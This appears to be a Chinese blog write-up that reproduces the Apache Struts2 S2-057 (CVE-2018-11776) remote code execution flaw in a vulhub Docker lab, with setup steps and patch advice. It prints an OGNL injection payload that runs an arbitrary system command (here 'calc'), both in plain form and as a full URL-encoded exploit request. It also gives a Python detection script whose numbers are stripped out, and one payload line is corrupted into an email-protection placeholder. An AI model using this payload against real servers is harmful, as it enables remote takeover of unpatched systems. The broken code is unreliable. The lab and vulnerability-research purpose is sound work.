参考了大佬的链接:https://github.com/jas502n/St2-057

00x01前言

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品:   Struts 1和Struts 2。 Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

00x02漏洞描述

定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

00x03影响版本

Struts 2.3 - Struts 2.3.34

Struts 2.5 - Struts 2.5.16

00x04漏洞验证

在线验证:http://0day.websaas.com.cn/

本地验证:https://github.com/ym2011/POC-EXP/tree/master/Struts2/S2-057

附上一个大佬的poc

import sys
import requests url = sys.argv[]
url_list = [i for i in url.split("/") if i != ''] payload = "${(65535+521)}" payload = "/" + payload + "/"
num =
for str in url_list:
num +=
if num == :
nurl = str
continue
elif num == :
nurl = nurl + "//" + str
continue
elif num == len(url_list):
nurl = nurl + payload + str
continue
else:
nurl = nurl + "/" + str
continue try:
r = requests.head(nurl, stream=True).headers["Location"]
except:
print "不存在ST2-057漏洞!"
exit() if r.find("") != -:
print "存在ST2-057漏洞!"
else:
print "不存在ST2-057漏洞!"

00x05安装本地环境

首先要安装docker部署vulhub

我用的是kali2018的虚拟机安装的

更新数据

apt-get update

安装docker

apt-get install docker.io

查看版本

docker -v

尝试运行一下

docker images

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

出现镜像列表则说明成功安装,或者再进行验证

docker run hello-world

如果出现

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

不要慌,服务器正从Docker Hub获取到最新的Hello World镜像,下载到本地,因此只需等待即可。

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

出现了上图字样表示安装成功,如果没用再次输入docker run hello-world,回车就能验证了。
接下来就需要安装vulhub了,在这之前,需要先安装pip

wget https://bootstrap.pypa.io/get-pip.py

安装完成之后尝试输入pip,出现选项即说明安装成功,接下来就可以使用pip来安装docker-compose

pip install docker-compose

直接从github上将vulhub拿下来,由于某些原因,直接下载vulhub会报错,所以建议直接从github上下载,当然也可以直接下载。

git clone https://github.com/vulhub/vulhub

不出意外的话,下载成功以后查看目录下会出现vulhub,这个时候就可以进去看看里面有些什么,当然里面所包含靶站的还是比较多的,都可以复现一些比较经典的漏洞。

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

这里重点介绍下struts2-057漏洞吧,进入struts2目录下,找到struts2-057,进去。

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

直接使用docker-compose将镜像安装起来。

docker-compose up -d

报错了,看version都报错

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

说没用ssl_match模块,应该是没有下载完整,那么我们直接在网上去下载最新版:https://github.com/docker/compose/releases/tag/1.14.0-rc2,拉到最下面,下载linux版本的。

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

然后将文件上传到 /usr/local/bin/ 文件夹下,然后将其重命名为docker-compose,增加可执行:chmod +x /usr/local/bin/docker-compose  ,然后再运行查看版本

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

现在进入struts2-057目录然后执行  docker-compose up -d   命令,下载有点儿慢。

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

看下docker里面镜像库,如果出现struts2镜像则说明安装成功。

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

查看psid,复制id后直接启用环境。

 docker exec -i -t <id> /bin/bash

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

环境就搭建起来了,访问一下ip:port/struts2-showcase/

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

00x06漏洞复现

将url换成ip:port/struts2-showcase/${(111+111)}/actionChain1.action

然后访问

最后可以看到已经变成了ip:port/struts2-showcase/222/register2.action

说明存在s2-057漏洞

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

中间的${(111+111)}是命令执行,得到执行结果返回在后面的url呈现的页面中

将${(111+111)} 替换用代码执行编写成命令执行的exp

${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}

拆分:

${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#[email protected]@getRuntime().exec('calc').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[],
#c.read(#d),
#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#jas502n.println(#d),
#jas502n.close())
}

中间的标红的一段代码中间的exec(‘’)函数里面可执行任意系统命令,这里是执行的calc调出计算器。

因此访问http://ip:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action

Struts2-057远程代码执行漏洞(s2-057/CVE-2018-11776)复现-LMLPHP

00x7漏洞修复

官方提供的临时解决方案:当上层动作配置中没有设置或使用通配符namespace时,验证所有XML配置中的namespace,同时在JSP中验证所有url标签的value和action。

建议升级版本。

05-11 11:16